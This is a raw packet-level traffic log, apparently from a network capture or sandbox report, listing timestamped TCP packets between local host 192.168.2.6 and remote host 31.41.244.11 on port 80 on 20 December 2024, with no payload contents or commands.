Dec 20, 2024 17:43:20.908550024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.908598900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.909537077 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.909596920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.909667015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.909718037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.910710096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.910770893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.911396027 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.911454916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.911895990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.911952972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.912199974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.912247896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.913060904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.913122892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.913189888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.913239002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.914272070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.914284945 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.914336920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.915389061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.915481091 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.044991970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.045053959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.045111895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.045151949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.045346975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.045404911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.045564890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.045608997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.046508074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.046555996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.046613932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.046658039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.047746897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.047795057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.047825098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.047867060 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.048872948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.048924923 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.049000978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.049045086 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.050163984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.050203085 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.050218105 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.050240993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.051287889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.051340103 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.051460028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.051503897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.052498102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.052544117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.052726984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.052772045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.053651094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.053700924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.053842068 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.053889036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.054862022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.054910898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.054975033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.055018902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.056006908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.056057930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.056272030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.056355000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.057218075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.057266951 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.057394981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.057444096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.058408976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.058459997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.058686972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.058728933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.059585094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.059633970 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.059979916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.060028076 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.060791016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.060837984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.061085939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.061131001 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.061950922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.062001944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.062048912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.062093973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.063147068 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.063199043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.063230991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.063277006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.064368010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.064419985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.064907074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.064954996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.065505981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.065551043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.065650940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.065692902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.066791058 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.066867113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.066874981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.066912889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.067886114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.067936897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.069010973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.069058895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.069093943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.069108963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.069132090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.069170952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.070274115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.070326090 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.070683002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.070724964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.071465969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.071516991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.071557999 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.071600914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.072594881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.072642088 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.072695017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.072741985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.073864937 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.073915005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.073977947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.074019909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.075222015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.075274944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.075453043 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.075498104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.076420069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.076468945 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.076503992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.076545000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.077474117 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.077528000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.077739000 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.077781916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.078630924 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.078679085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.078742981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.078787088 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.079746008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.079794884 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.079850912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.079893112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.080940008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.080986977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.081135035 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.081178904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.082110882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.082163095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.082379103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.082422972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.083282948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.083323956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.083388090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.083427906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.084491014 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.084539890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.084573984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.084614038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.085819960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.085864067 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.086009026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.086051941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.086932898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.086977005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.087034941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.087078094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.088042021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.088088036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.088593006 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.088634968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.089234114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.089276075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.089375973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.089416027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.090466022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.090509892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.090856075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.090899944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.091609001 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.091654062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.091691971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.091728926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.092808962 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.092854977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.092926979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.092968941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.093972921 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.094017982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.094197989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.094239950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.095149994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.095196009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.095218897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.095261097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.096374035 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.096420050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.096446991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.096501112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.097603083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.097666025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.097800016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.097842932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.098773003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.098815918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.099013090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.099056005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.099971056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.100014925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.100049019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.100089073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.101130009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.101176977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.101567030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.101632118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.102247953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.102292061 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.102327108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.102368116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.103703976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.103749990 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.104038954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.104083061 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.104720116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.104763985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.105070114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.105113029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.105907917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.105946064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.106081963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.106117964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.106977940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.107013941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.237593889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.237679958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.237719059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.237742901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.237948895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.237997055 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.238042116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.239275932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.239325047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.239345074 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.239381075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.240192890 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.240236044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.240364075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.240408897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.241396904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.241446018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.241486073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.241524935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.242595911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.242636919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.242758036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.242799997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.243766069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.243812084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.244119883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.244160891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.244991064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.245037079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.245107889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.245146036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.246170998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.246216059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.246884108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.246922970 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.247355938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.247395039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.247522116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.247561932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.248521090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.248569012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.248583078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.248625040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.249727011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.249777079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.249882936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.249927998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.250935078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.250983953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.251013041 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.251056910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.252054930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.252101898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.252146006 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.252192020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.253238916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.253290892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.253513098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.253556013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.254426003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.254477978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.254575968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.254618883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.255793095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.255839109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.255944967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.255987883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.256799936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.256846905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.256905079 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.256946087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.258040905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.258105993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.258258104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.258301973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.259277105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.259326935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.259332895 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.259391069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.260505915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.260564089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.260627985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.261585951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.261678934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.261733055 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.262748957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.262793064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.263962984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.263976097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.264019012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.264060974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.264102936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.265101910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.265145063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.265259981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.265295029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.266416073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.266459942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.266963005 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.267569065 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.267626047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:21.267630100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:21.267666101 CET	49732	80	192.168.2.6	31.41.244.11
